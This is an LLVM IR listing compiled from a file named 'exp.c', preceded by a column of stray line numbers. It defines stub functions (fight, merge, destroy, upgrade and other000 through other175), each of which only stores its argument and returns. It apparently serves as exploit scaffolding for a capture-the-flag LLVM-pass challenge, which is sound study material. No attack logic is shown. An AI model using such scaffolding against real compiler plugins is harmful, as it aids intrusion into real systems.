1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @fight(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @merge(i32, i32) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, i32* %3, align 4
store i32 %1, i32* %4, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @destroy(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @upgrade(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @wuxiangdeyidao() #0 {
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @zhanjinniuza() #0 {
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @guobapenhuo() #0 {
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @tiandongwanxiang() #0 {
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other000(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other001(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other002(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other003(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other004(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other005(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other006(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other007(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other008(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other009(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other010(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other011(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other012(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other013(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other014(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other015(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other016(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other017(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other018(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other019(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other020(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other021(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other022(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other023(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other024(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other025(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other026(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other027(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other028(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other029(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other030(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other031(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other032(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other033(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other034(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other035(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other036(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other037(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other038(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other039(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other040(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other041(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other042(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other043(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other044(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other045(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other046(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other047(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other048(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other049(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other050(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other051(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other052(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other053(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other054(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other055(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other056(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other057(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other058(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other059(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other060(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other061(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other062(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other063(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other064(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other065(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other066(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other067(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other068(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other069(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other070(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other071(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other072(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other073(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other074(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other075(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other076(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other077(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other078(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other079(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other080(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other081(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other082(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other083(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other084(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other085(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other086(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other087(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other088(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other089(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other090(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other091(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other092(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other093(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other094(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other095(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other096(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other097(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other098(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other099(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other100(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other101(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other102(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other103(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other104(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other105(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other106(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other107(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other108(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other109(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other110(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other111(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other112(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other113(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other114(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other115(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other116(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other117(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other118(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other119(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other120(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other121(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other122(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other123(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other124(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other125(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other126(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other127(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other128(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other129(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other130(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other131(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other132(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other133(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other134(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other135(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other136(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other137(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other138(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other139(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other140(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other141(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other142(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other143(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other144(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other145(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other146(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other147(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other148(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other149(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other150(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other151(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other152(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other153(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other154(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other155(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other156(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other157(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other158(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other159(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other160(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other161(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other162(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other163(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other164(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other165(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other166(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other167(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other168(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other169(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other170(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other171(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other172(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other173(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other174(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other175(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

